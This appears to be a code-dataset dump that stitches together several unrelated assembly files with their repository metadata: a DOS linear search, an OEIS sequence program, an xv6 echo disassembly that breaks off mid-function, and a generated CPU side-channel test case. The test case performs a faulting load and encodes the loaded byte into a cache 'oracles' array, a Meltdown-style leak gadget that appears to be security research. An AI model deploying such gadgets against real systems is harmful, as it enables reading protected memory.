new_line mov s,bx ; s = size lea si,arr ; si = offset address of arr mov cx,bx ; cx = size @array_input: pushall dec_input mov word ptr[si],bx ; accept array elements popall inc si ; increment to point to the next word inc si loop @array_input printm inpmsg3 dec_input ; input element to be searched lea si,arr ; si = offset address of arr mov cx,s ; cx = size @linear_search: cmp bx,word ptr[si] je @found inc si inc si loop @linear_search printm oupmsg2 ; if not found jmp @exit @found: ; if found printm oupmsg1 mov bx,s sub bx,cx ; get the index from beginning dec_output @exit: exitp main endp end main
18.905405
62
0.581844
164cd06f74d50b60d28854cb13e9c5c48c0f99aa
4,670
asm
Assembly
Transynther/x86/_processed/NC/_ht_/i7-8650U_0xd2.log_3251_1015.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NC/_ht_/i7-8650U_0xd2.log_3251_1015.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NC/_ht_/i7-8650U_0xd2.log_3251_1015.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r15 push %rbx push %rcx push %rdi push %rsi lea addresses_A_ht+0x190bf, %rsi lea addresses_normal_ht+0xb4bf, %rdi nop add %rbx, %rbx mov $104, %rcx rep movsw nop nop nop nop cmp %r13, %r13 lea addresses_D_ht+0x9f8f, %rsi lea addresses_D_ht+0x103ff, %rdi clflush (%rdi) nop nop and %r15, %r15 mov $31, %rcx rep movsw nop nop nop dec %rsi lea addresses_A_ht+0x19d47, %rcx nop nop nop nop add $55854, %rsi mov (%rcx), %rbx nop nop nop nop add $16941, %r13 pop %rsi pop %rdi pop %rcx pop %rbx pop %r15 pop %r13 ret .global s_faulty_load s_faulty_load: push %r10 push %r13 push %r14 push %rsi // Faulty Load mov $0x15681300000004bf, %r13 nop nop nop nop nop cmp %r10, %r10 vmovups (%r13), %ymm6 vextracti128 $1, %ymm6, %xmm6 vpextrq $1, %xmm6, %r14 lea oracles, %rsi and $0xff, %r14 shlq $12, %r14 mov (%rsi,%r14,1), %r14 pop %rsi pop %r14 pop %r13 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 9, 'same': True}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 8, 'AVXalign': True, 'NT': False, 'congruent': 3, 'same': False}} {'45': 3251} 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 */
50.215054
2,999
0.663383
5954cd07c6cddad1ef056ee4fb75af0688451062
823
asm
Assembly
oeis/037/A037451.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/037/A037451.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/037/A037451.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A037451: a(n) = Fibonacci(n) * Fibonacci(2*n). ; Submitted by Jon Maiga ; 0,1,3,16,63,275,1152,4901,20727,87856,372075,1576279,6676992,28284569,119814747,507544400,2149990983,9107510539,38580029568,163427634589,692290558575,2932589884016,12422650070163,52623190204271,222915410823168,944284833600625,4000054745057907,16944503814103696,71778070001033487,304056783818948291,1288005205275676800,5456077604923515989,23112315624966730407,97905340104795308464,414733676044140083067,1756840044281368392775,7442093853169593020928,31525215456959773861769,133542955681008634449483 mov $5,$0 mov $7,4 lpb $7 mov $0,$5 sub $7,1 sub $0,$7 add $0,1 mov $2,2 mov $4,2 sub $7,1 lpb $0 sub $0,1 mov $3,$4 mov $4,$2 add $2,$3 lpe mul $4,$2 mov $0,$4 mul $0,$3 div $0,16 add $6,$0 lpe mov $0,$6
29.392857
498
0.749696
49fe2cc729b4ddd72893b2929ba2c18428ea9072
39,320
asm
Assembly
echo.asm
keibrdn/cs153_lab1
1c70e8d3e68cdb879667c03eae8183c5f03924e8
[ "MIT-0" ]
null
null
null
echo.asm
keibrdn/cs153_lab1
1c70e8d3e68cdb879667c03eae8183c5f03924e8
[ "MIT-0" ]
null
null
null
echo.asm
keibrdn/cs153_lab1
1c70e8d3e68cdb879667c03eae8183c5f03924e8
[ "MIT-0" ]
null
null
null
_echo: file format elf32-i386 Disassembly of section .text: 00000000 <main>: #include "stat.h" #include "user.h" int main(int argc, char *argv[]) { 0: 55 push %ebp 1: 89 e5 mov %esp,%ebp 3: 57 push %edi 4: 56 push %esi 5: 53 push %ebx 6: 83 e4 f0 and $0xfffffff0,%esp 9: 83 ec 10 sub $0x10,%esp c: 8b 75 08 mov 0x8(%ebp),%esi f: 8b 7d 0c mov 0xc(%ebp),%edi int i; for(i = 1; i < argc; i++) 12: 83 fe 01 cmp $0x1,%esi 15: 7e 58 jle 6f <main+0x6f> 17: bb 01 00 00 00 mov $0x1,%ebx 1c: eb 26 jmp 44 <main+0x44> 1e: 66 90 xchg %ax,%ax printf(1, "%s%s", argv[i], i+1 < argc ? " " : "\n"); 20: c7 44 24 0c 76 07 00 movl $0x776,0xc(%esp) 27: 00 28: 8b 44 9f fc mov -0x4(%edi,%ebx,4),%eax 2c: c7 44 24 04 78 07 00 movl $0x778,0x4(%esp) 33: 00 34: c7 04 24 01 00 00 00 movl $0x1,(%esp) 3b: 89 44 24 08 mov %eax,0x8(%esp) 3f: e8 cc 03 00 00 call 410 <printf> 44: 83 c3 01 add $0x1,%ebx 47: 39 f3 cmp %esi,%ebx 49: 75 d5 jne 20 <main+0x20> 4b: c7 44 24 0c 7d 07 00 movl $0x77d,0xc(%esp) 52: 00 53: 8b 44 9f fc mov -0x4(%edi,%ebx,4),%eax 57: c7 44 24 04 78 07 00 movl $0x778,0x4(%esp) 5e: 00 5f: c7 04 24 01 00 00 00 movl $0x1,(%esp) 66: 89 44 24 08 mov %eax,0x8(%esp) 6a: e8 a1 03 00 00 call 410 <printf> exit(0); 6f: c7 04 24 00 00 00 00 movl $0x0,(%esp) 76: e8 37 02 00 00 call 2b2 <exit> return 0; } 7b: 8d 65 f4 lea -0xc(%ebp),%esp 7e: 31 c0 xor %eax,%eax 80: 5b pop %ebx 81: 5e pop %esi 82: 5f pop %edi 83: 5d pop %ebp 84: c3 ret 85: 66 90 xchg %ax,%ax 87: 66 90 xchg %ax,%ax 89: 66 90 xchg %ax,%ax 8b: 66 90 xchg %ax,%ax 8d: 66 90 xchg %ax,%ax 8f: 90 nop 00000090 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, const char *t) { 90: 55 push %ebp 91: 89 e5 mov %esp,%ebp 93: 8b 45 08 mov 0x8(%ebp),%eax 96: 8b 4d 0c mov 0xc(%ebp),%ecx 99: 53 push %ebx char *os; os = s; while((*s++ = *t++) != 0) 9a: 89 c2 mov %eax,%edx 9c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi a0: 83 c1 01 add $0x1,%ecx a3: 0f b6 59 ff movzbl -0x1(%ecx),%ebx a7: 83 c2 01 add $0x1,%edx aa: 84 db test %bl,%bl ac: 88 5a ff mov %bl,-0x1(%edx) af: 75 ef jne a0 <strcpy+0x10> ; return os; } b1: 5b pop %ebx b2: 5d pop %ebp b3: c3 ret b4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi ba: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 000000c0 <strcmp>: int strcmp(const char *p, const char *q) { c0: 55 push %ebp c1: 89 e5 mov %esp,%ebp c3: 8b 55 08 mov 0x8(%ebp),%edx c6: 53 push %ebx c7: 8b 4d 0c mov 0xc(%ebp),%ecx while(*p && *p == *q) ca: 0f b6 02 movzbl (%edx),%eax cd: 84 c0 test %al,%al cf: 74 2d je fe <strcmp+0x3e> d1: 0f b6 19 movzbl (%ecx),%ebx d4: 38 d8 cmp %bl,%al d6: 74 0e je e6 <strcmp+0x26> d8: eb 2b jmp 105 <strcmp+0x45> da: 8d b6 00 00 00 00 lea 0x0(%esi),%esi e0: 38 c8 cmp %cl,%al e2: 75 15 jne f9 <strcmp+0x39> p++, q++; e4: 89 d9 mov %ebx,%ecx e6: 83 c2 01 add $0x1,%edx while(*p && *p == *q) e9: 0f b6 02 movzbl (%edx),%eax p++, q++; ec: 8d 59 01 lea 0x1(%ecx),%ebx while(*p && *p == *q) ef: 0f b6 49 01 movzbl 0x1(%ecx),%ecx f3: 84 c0 test %al,%al f5: 75 e9 jne e0 <strcmp+0x20> f7: 31 c0 xor %eax,%eax return (uchar)*p - (uchar)*q; f9: 29 c8 sub %ecx,%eax } fb: 5b pop %ebx fc: 5d pop %ebp fd: c3 ret fe: 0f b6 09 movzbl (%ecx),%ecx while(*p && *p == *q) 101: 31 c0 xor %eax,%eax 103: eb f4 jmp f9 <strcmp+0x39> 105: 0f b6 cb movzbl %bl,%ecx 108: eb ef jmp f9 <strcmp+0x39> 10a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 00000110 <strlen>: uint strlen(const char *s) { 110: 55 push %ebp 111: 89 e5 mov %esp,%ebp 113: 8b 4d 08 mov 0x8(%ebp),%ecx int n; for(n = 0; s[n]; n++) 116: 80 39 00 cmpb $0x0,(%ecx) 119: 74 12 je 12d <strlen+0x1d> 11b: 31 d2 xor %edx,%edx 11d: 8d 76 00 lea 0x0(%esi),%esi 120: 83 c2 01 add $0x1,%edx 123: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1) 127: 89 d0 mov %edx,%eax 129: 75 f5 jne 120 <strlen+0x10> ; return n; } 12b: 5d pop %ebp 12c: c3 ret for(n = 0; s[n]; n++) 12d: 31 c0 xor %eax,%eax } 12f: 5d pop %ebp 130: c3 ret 131: eb 0d jmp 140 <memset> 133: 90 nop 134: 90 nop 135: 90 nop 136: 90 nop 137: 90 nop 138: 90 nop 139: 90 nop 13a: 90 nop 13b: 90 nop 13c: 90 nop 13d: 90 nop 13e: 90 nop 13f: 90 nop 00000140 <memset>: void* memset(void *dst, int c, uint n) { 140: 55 push %ebp 141: 89 e5 mov %esp,%ebp 143: 8b 55 08 mov 0x8(%ebp),%edx 146: 57 push %edi } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : 147: 8b 4d 10 mov 0x10(%ebp),%ecx 14a: 8b 45 0c mov 0xc(%ebp),%eax 14d: 89 d7 mov %edx,%edi 14f: fc cld 150: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } 152: 89 d0 mov %edx,%eax 154: 5f pop %edi 155: 5d pop %ebp 156: c3 ret 157: 89 f6 mov %esi,%esi 159: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000160 <strchr>: char* strchr(const char *s, char c) { 160: 55 push %ebp 161: 89 e5 mov %esp,%ebp 163: 8b 45 08 mov 0x8(%ebp),%eax 166: 53 push %ebx 167: 8b 55 0c mov 0xc(%ebp),%edx for(; *s; s++) 16a: 0f b6 18 movzbl (%eax),%ebx 16d: 84 db test %bl,%bl 16f: 74 1d je 18e <strchr+0x2e> if(*s == c) 171: 38 d3 cmp %dl,%bl 173: 89 d1 mov %edx,%ecx 175: 75 0d jne 184 <strchr+0x24> 177: eb 17 jmp 190 <strchr+0x30> 179: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 180: 38 ca cmp %cl,%dl 182: 74 0c je 190 <strchr+0x30> for(; *s; s++) 184: 83 c0 01 add $0x1,%eax 187: 0f b6 10 movzbl (%eax),%edx 18a: 84 d2 test %dl,%dl 18c: 75 f2 jne 180 <strchr+0x20> return (char*)s; return 0; 18e: 31 c0 xor %eax,%eax } 190: 5b pop %ebx 191: 5d pop %ebp 192: c3 ret 193: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 199: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000001a0 <gets>: char* gets(char *buf, int max) { 1a0: 55 push %ebp 1a1: 89 e5 mov %esp,%ebp 1a3: 57 push %edi 1a4: 56 push %esi int i, cc; char c; for(i=0; i+1 < max; ){ 1a5: 31 f6 xor %esi,%esi { 1a7: 53 push %ebx 1a8: 83 ec 2c sub $0x2c,%esp cc = read(0, &c, 1); 1ab: 8d 7d e7 lea -0x19(%ebp),%edi for(i=0; i+1 < max; ){ 1ae: eb 31 jmp 1e1 <gets+0x41> cc = read(0, &c, 1); 1b0: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 1b7: 00 1b8: 89 7c 24 04 mov %edi,0x4(%esp) 1bc: c7 04 24 00 00 00 00 movl $0x0,(%esp) 1c3: e8 02 01 00 00 call 2ca <read> if(cc < 1) 1c8: 85 c0 test %eax,%eax 1ca: 7e 1d jle 1e9 <gets+0x49> break; buf[i++] = c; 1cc: 0f b6 45 e7 movzbl -0x19(%ebp),%eax for(i=0; i+1 < max; ){ 1d0: 89 de mov %ebx,%esi buf[i++] = c; 1d2: 8b 55 08 mov 0x8(%ebp),%edx if(c == '\n' || c == '\r') 1d5: 3c 0d cmp $0xd,%al buf[i++] = c; 1d7: 88 44 1a ff mov %al,-0x1(%edx,%ebx,1) if(c == '\n' || c == '\r') 1db: 74 0c je 1e9 <gets+0x49> 1dd: 3c 0a cmp $0xa,%al 1df: 74 08 je 1e9 <gets+0x49> for(i=0; i+1 < max; ){ 1e1: 8d 5e 01 lea 0x1(%esi),%ebx 1e4: 3b 5d 0c cmp 0xc(%ebp),%ebx 1e7: 7c c7 jl 1b0 <gets+0x10> break; } buf[i] = '\0'; 1e9: 8b 45 08 mov 0x8(%ebp),%eax 1ec: c6 04 30 00 movb $0x0,(%eax,%esi,1) return buf; } 1f0: 83 c4 2c add $0x2c,%esp 1f3: 5b pop %ebx 1f4: 5e pop %esi 1f5: 5f pop %edi 1f6: 5d pop %ebp 1f7: c3 ret 1f8: 90 nop 1f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 00000200 <stat>: int stat(const char *n, struct stat *st) { 200: 55 push %ebp 201: 89 e5 mov %esp,%ebp 203: 56 push %esi 204: 53 push %ebx 205: 83 ec 10 sub $0x10,%esp int fd; int r; fd = open(n, O_RDONLY); 208: 8b 45 08 mov 0x8(%ebp),%eax 20b: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 212: 00 213: 89 04 24 mov %eax,(%esp) 216: e8 d7 00 00 00 call 2f2 <open> if(fd < 0) 21b: 85 c0 test %eax,%eax fd = open(n, O_RDONLY); 21d: 89 c3 mov %eax,%ebx if(fd < 0) 21f: 78 27 js 248 <stat+0x48> return -1; r = fstat(fd, st); 221: 8b 45 0c mov 0xc(%ebp),%eax 224: 89 1c 24 mov %ebx,(%esp) 227: 89 44 24 04 mov %eax,0x4(%esp) 22b: e8 da 00 00 00 call 30a <fstat> close(fd); 230: 89 1c 24 mov %ebx,(%esp) r = fstat(fd, st); 233: 89 c6 mov %eax,%esi close(fd); 235: e8 a0 00 00 00 call 2da <close> return r; 23a: 89 f0 mov %esi,%eax } 23c: 83 c4 10 add $0x10,%esp 23f: 5b pop %ebx 240: 5e pop %esi 241: 5d pop %ebp 242: c3 ret 243: 90 nop 244: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return -1; 248: b8 ff ff ff ff mov $0xffffffff,%eax 24d: eb ed jmp 23c <stat+0x3c> 24f: 90 nop 00000250 <atoi>: int atoi(const char *s) { 250: 55 push %ebp 251: 89 e5 mov %esp,%ebp 253: 8b 4d 08 mov 0x8(%ebp),%ecx 256: 53 push %ebx int n; n = 0; while('0' <= *s && *s <= '9') 257: 0f be 11 movsbl (%ecx),%edx 25a: 8d 42 d0 lea -0x30(%edx),%eax 25d: 3c 09 cmp $0x9,%al n = 0; 25f: b8 00 00 00 00 mov $0x0,%eax while('0' <= *s && *s <= '9') 264: 77 17 ja 27d <atoi+0x2d> 266: 66 90 xchg %ax,%ax n = n*10 + *s++ - '0'; 268: 83 c1 01 add $0x1,%ecx 26b: 8d 04 80 lea (%eax,%eax,4),%eax 26e: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax while('0' <= *s && *s <= '9') 272: 0f be 11 movsbl (%ecx),%edx 275: 8d 5a d0 lea -0x30(%edx),%ebx 278: 80 fb 09 cmp $0x9,%bl 27b: 76 eb jbe 268 <atoi+0x18> return n; } 27d: 5b pop %ebx 27e: 5d pop %ebp 27f: c3 ret 00000280 <memmove>: void* memmove(void *vdst, const void *vsrc, int n) { 280: 55 push %ebp char *dst; const char *src; dst = vdst; src = vsrc; while(n-- > 0) 281: 31 d2 xor %edx,%edx { 283: 89 e5 mov %esp,%ebp 285: 56 push %esi 286: 8b 45 08 mov 0x8(%ebp),%eax 289: 53 push %ebx 28a: 8b 5d 10 mov 0x10(%ebp),%ebx 28d: 8b 75 0c mov 0xc(%ebp),%esi while(n-- > 0) 290: 85 db test %ebx,%ebx 292: 7e 12 jle 2a6 <memmove+0x26> 294: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi *dst++ = *src++; 298: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 29c: 88 0c 10 mov %cl,(%eax,%edx,1) 29f: 83 c2 01 add $0x1,%edx while(n-- > 0) 2a2: 39 da cmp %ebx,%edx 2a4: 75 f2 jne 298 <memmove+0x18> return vdst; } 2a6: 5b pop %ebx 2a7: 5e pop %esi 2a8: 5d pop %ebp 2a9: c3 ret 000002aa <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 2aa: b8 01 00 00 00 mov $0x1,%eax 2af: cd 40 int $0x40 2b1: c3 ret 000002b2 <exit>: SYSCALL(exit) 2b2: b8 02 00 00 00 mov $0x2,%eax 2b7: cd 40 int $0x40 2b9: c3 ret 000002ba <wait>: SYSCALL(wait) 2ba: b8 03 00 00 00 mov $0x3,%eax 2bf: cd 40 int $0x40 2c1: c3 ret 000002c2 <pipe>: SYSCALL(pipe) 2c2: b8 04 00 00 00 mov $0x4,%eax 2c7: cd 40 int $0x40 2c9: c3 ret 000002ca <read>: SYSCALL(read) 2ca: b8 05 00 00 00 mov $0x5,%eax 2cf: cd 40 int $0x40 2d1: c3 ret 000002d2 <write>: SYSCALL(write) 2d2: b8 10 00 00 00 mov $0x10,%eax 2d7: cd 40 int $0x40 2d9: c3 ret 000002da <close>: SYSCALL(close) 2da: b8 15 00 00 00 mov $0x15,%eax 2df: cd 40 int $0x40 2e1: c3 ret 000002e2 <kill>: SYSCALL(kill) 2e2: b8 06 00 00 00 mov $0x6,%eax 2e7: cd 40 int $0x40 2e9: c3 ret 000002ea <exec>: SYSCALL(exec) 2ea: b8 07 00 00 00 mov $0x7,%eax 2ef: cd 40 int $0x40 2f1: c3 ret 000002f2 <open>: SYSCALL(open) 2f2: b8 0f 00 00 00 mov $0xf,%eax 2f7: cd 40 int $0x40 2f9: c3 ret 000002fa <mknod>: SYSCALL(mknod) 2fa: b8 11 00 00 00 mov $0x11,%eax 2ff: cd 40 int $0x40 301: c3 ret 00000302 <unlink>: SYSCALL(unlink) 302: b8 12 00 00 00 mov $0x12,%eax 307: cd 40 int $0x40 309: c3 ret 0000030a <fstat>: SYSCALL(fstat) 30a: b8 08 00 00 00 mov $0x8,%eax 30f: cd 40 int $0x40 311: c3 ret 00000312 <link>: SYSCALL(link) 312: b8 13 00 00 00 mov $0x13,%eax 317: cd 40 int $0x40 319: c3 ret 0000031a <mkdir>: SYSCALL(mkdir) 31a: b8 14 00 00 00 mov $0x14,%eax 31f: cd 40 int $0x40 321: c3 ret 00000322 <chdir>: SYSCALL(chdir) 322: b8 09 00 00 00 mov $0x9,%eax 327: cd 40 int $0x40 329: c3 ret 0000032a <dup>: SYSCALL(dup) 32a: b8 0a 00 00 00 mov $0xa,%eax 32f: cd 40 int $0x40 331: c3 ret 00000332 <getpid>: SYSCALL(getpid) 332: b8 0b 00 00 00 mov $0xb,%eax 337: cd 40 int $0x40 339: c3 ret 0000033a <sbrk>: SYSCALL(sbrk) 33a: b8 0c 00 00 00 mov $0xc,%eax 33f: cd 40 int $0x40 341: c3 ret 00000342 <sleep>: SYSCALL(sleep) 342: b8 0d 00 00 00 mov $0xd,%eax 347: cd 40 int $0x40 349: c3 ret 0000034a <uptime>: SYSCALL(uptime) 34a: b8 0e 00 00 00 mov $0xe,%eax 34f: cd 40 int $0x40 351: c3 ret 00000352 <hello>: SYSCALL(hello) 352: b8 18 00 00 00 mov $0x18,%eax 357: cd 40 int $0x40 359: c3 ret 0000035a <waitpid>: SYSCALL(waitpid) 35a: b8 19 00 00 00 mov $0x19,%eax 35f: cd 40 int $0x40 361: c3 ret 362: 66 90 xchg %ax,%ax 364: 66 90 xchg %ax,%ax 366: 66 90 xchg %ax,%ax 368: 66 90 xchg %ax,%ax 36a: 66 90 xchg %ax,%ax 36c: 66 90 xchg %ax,%ax 36e: 66 90 xchg %ax,%ax 00000370 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { 370: 55 push %ebp 371: 89 e5 mov %esp,%ebp 373: 57 push %edi 374: 56 push %esi 375: 89 c6 mov %eax,%esi 377: 53 push %ebx 378: 83 ec 4c sub $0x4c,%esp char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ 37b: 8b 5d 08 mov 0x8(%ebp),%ebx 37e: 85 db test %ebx,%ebx 380: 74 09 je 38b <printint+0x1b> 382: 89 d0 mov %edx,%eax 384: c1 e8 1f shr $0x1f,%eax 387: 84 c0 test %al,%al 389: 75 75 jne 400 <printint+0x90> neg = 1; x = -xx; } else { x = xx; 38b: 89 d0 mov %edx,%eax neg = 0; 38d: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp) 394: 89 75 c0 mov %esi,-0x40(%ebp) } i = 0; 397: 31 ff xor %edi,%edi 399: 89 ce mov %ecx,%esi 39b: 8d 5d d7 lea -0x29(%ebp),%ebx 39e: eb 02 jmp 3a2 <printint+0x32> do{ buf[i++] = digits[x % base]; 3a0: 89 cf mov %ecx,%edi 3a2: 31 d2 xor %edx,%edx 3a4: f7 f6 div %esi 3a6: 8d 4f 01 lea 0x1(%edi),%ecx 3a9: 0f b6 92 86 07 00 00 movzbl 0x786(%edx),%edx }while((x /= base) != 0); 3b0: 85 c0 test %eax,%eax buf[i++] = digits[x % base]; 3b2: 88 14 0b mov %dl,(%ebx,%ecx,1) }while((x /= base) != 0); 3b5: 75 e9 jne 3a0 <printint+0x30> if(neg) 3b7: 8b 55 c4 mov -0x3c(%ebp),%edx buf[i++] = digits[x % base]; 3ba: 89 c8 mov %ecx,%eax 3bc: 8b 75 c0 mov -0x40(%ebp),%esi if(neg) 3bf: 85 d2 test %edx,%edx 3c1: 74 08 je 3cb <printint+0x5b> buf[i++] = '-'; 3c3: 8d 4f 02 lea 0x2(%edi),%ecx 3c6: c6 44 05 d8 2d movb $0x2d,-0x28(%ebp,%eax,1) while(--i >= 0) 3cb: 8d 79 ff lea -0x1(%ecx),%edi 3ce: 66 90 xchg %ax,%ax 3d0: 0f b6 44 3d d8 movzbl -0x28(%ebp,%edi,1),%eax 3d5: 83 ef 01 sub $0x1,%edi write(fd, &c, 1); 3d8: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 3df: 00 3e0: 89 5c 24 04 mov %ebx,0x4(%esp) 3e4: 89 34 24 mov %esi,(%esp) 3e7: 88 45 d7 mov %al,-0x29(%ebp) 3ea: e8 e3 fe ff ff call 2d2 <write> while(--i >= 0) 3ef: 83 ff ff cmp $0xffffffff,%edi 3f2: 75 dc jne 3d0 <printint+0x60> putc(fd, buf[i]); } 3f4: 83 c4 4c add $0x4c,%esp 3f7: 5b pop %ebx 3f8: 5e pop %esi 3f9: 5f pop %edi 3fa: 5d pop %ebp 3fb: c3 ret 3fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi x = -xx; 400: 89 d0 mov %edx,%eax 402: f7 d8 neg %eax neg = 1; 404: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp) 40b: eb 87 jmp 394 <printint+0x24> 40d: 8d 76 00 lea 0x0(%esi),%esi 00000410 <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, const char *fmt, ...) { 410: 55 push %ebp 411: 89 e5 mov %esp,%ebp 413: 57 push %edi char *s; int c, i, state; uint *ap; state = 0; 414: 31 ff xor %edi,%edi { 416: 56 push %esi 417: 53 push %ebx 418: 83 ec 3c sub $0x3c,%esp ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 41b: 8b 5d 0c mov 0xc(%ebp),%ebx ap = (uint*)(void*)&fmt + 1; 41e: 8d 45 10 lea 0x10(%ebp),%eax { 421: 8b 75 08 mov 0x8(%ebp),%esi ap = (uint*)(void*)&fmt + 1; 424: 89 45 d4 mov %eax,-0x2c(%ebp) 